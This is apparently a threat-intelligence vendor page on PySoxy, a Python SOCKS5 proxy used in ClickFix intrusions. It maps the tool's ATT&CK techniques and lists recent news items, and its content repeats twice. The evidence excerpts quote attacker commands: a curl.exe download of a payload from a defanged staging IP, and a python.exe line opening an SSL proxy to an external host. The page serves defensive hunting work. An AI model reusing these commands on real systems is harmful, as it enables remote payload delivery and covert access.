Malware

pysoxy

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

8 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique

T1588.002ToolEvidence1

Multiple groups “obtained and used” publicly available/open-source tools (e.g., APT28 used Koadic/Mimikatz/Responder; APT29 used Mimikatz/SDelete/Tor/meek/Cobalt Strike; many others acquired tools such as PsExec, Impacket, Metasploit, etc.).

Execution

4 techniques

T1053.005Scheduled TaskEvidence1

The attacker then created a scheduled task for repeated execution... Telemetry showed the task launching a staged script from C:\ProgramData roughly every 40 minutes, using arguments commonly associated with defense evasion and low-visibility execution.

T1059.001PowerShellEvidence2

The intrusion chain began with an obfuscated PowerShell command launched from explorer.exe... The stager contacted attacker infrastructure, downloaded the next stage, and executed it in memory without writing the payload to disk.

T1059.006PythonEvidence1

Only after confirming that a staging server could be reached did the attacker introduce PySoxy, downloading compiled Python bytecode and running it with proxy arguments pointing to a separate external IP address.

T1204User ExecutionEvidence1

The attack begins when a user visits a compromised website that presents a fake prompt, convincing the visitor to paste and run a PowerShell command on their own machine.

Persistence

1 technique

T1053.005Scheduled TaskEvidence1

Privilege Escalation

1 technique

T1053.005Scheduled TaskEvidence1

Command and Control

3 techniques

T1090ProxyEvidence1

PySoxy gave the attacker a second, independent route back into the host. This second channel used different infrastructure and a different traffic pattern than the first.

T1090.003Multi-hop ProxyEvidence1

python.exe b64.pyc -ssl -remote_port 443 -remote_ip 167.99.158[.]97 ... PySoxy, an open-source tool that lets attackers route encrypted traffic through a compromised host

T1105Ingress Tool TransferEvidence1

The attacker then downloaded PySoxy from the same staging server: curl.exe hxxp://206.206.103[.]106/<redacted>/b64.pyc -o C:\ProgramData\python\b64.pyc

INDICATORS OF COMPROMISE

IOCs tracked for this family

4 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

3 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other

1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

ip.v4●●●●●●●●●●●●View more in app3 months ago

uri●●●●●●●●●●●●View more in app3 months ago

ACTIVITY FEED

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

3 SOURCESView more in app

cyber security newsNews

May 13, 2026

ClickFix Evolves with 10-Year-Old Open-Source Python SOCKS5 Proxy

An open-source Python-based SOCKS5 proxy tool used by attackers to establish a second, independent access channel into a compromised host, providing more durable access even if the initial PowerShell command-and-control path is blocked.

reliaquest com threat huntingNews

May 12, 2026

ClickFix Evolves with PySoxy Proxying | ReliaQuest Threat Research

An open-source Python SOCKS5 proxy used by attackers to route encrypted traffic through a compromised host, creating a secondary encrypted access path and redundant command-and-control capability.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching4

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping8

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

Malware

pysoxy

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

8 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique

T1588.002ToolEvidence1

Execution

4 techniques

T1053.005Scheduled TaskEvidence1

T1059.001PowerShellEvidence2

T1059.006PythonEvidence1

T1204User ExecutionEvidence1

The attack begins when a user visits a compromised website that presents a fake prompt, convincing the visitor to paste and run a PowerShell command on their own machine.

Persistence

1 technique

T1053.005Scheduled TaskEvidence1

Privilege Escalation

1 technique

T1053.005Scheduled TaskEvidence1

Command and Control

3 techniques

T1090ProxyEvidence1

PySoxy gave the attacker a second, independent route back into the host. This second channel used different infrastructure and a different traffic pattern than the first.

T1090.003Multi-hop ProxyEvidence1

python.exe b64.pyc -ssl -remote_port 443 -remote_ip 167.99.158[.]97 ... PySoxy, an open-source tool that lets attackers route encrypted traffic through a compromised host

T1105Ingress Tool TransferEvidence1

The attacker then downloaded PySoxy from the same staging server: curl.exe hxxp://206.206.103[.]106/<redacted>/b64.pyc -o C:\ProgramData\python\b64.pyc

INDICATORS OF COMPROMISE

IOCs tracked for this family

4 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

3 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other

1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

ip.v4●●●●●●●●●●●●View more in app3 months ago

uri●●●●●●●●●●●●View more in app3 months ago

ACTIVITY FEED

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

3 SOURCESView more in app

cyber security newsNews

May 13, 2026

ClickFix Evolves with 10-Year-Old Open-Source Python SOCKS5 Proxy

reliaquest com threat huntingNews

May 12, 2026

ClickFix Evolves with PySoxy Proxying | ReliaQuest Threat Research

An open-source Python SOCKS5 proxy used by attackers to route encrypted traffic through a compromised host, creating a secondary encrypted access path and redundant command-and-control capability.

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching4

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping8

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.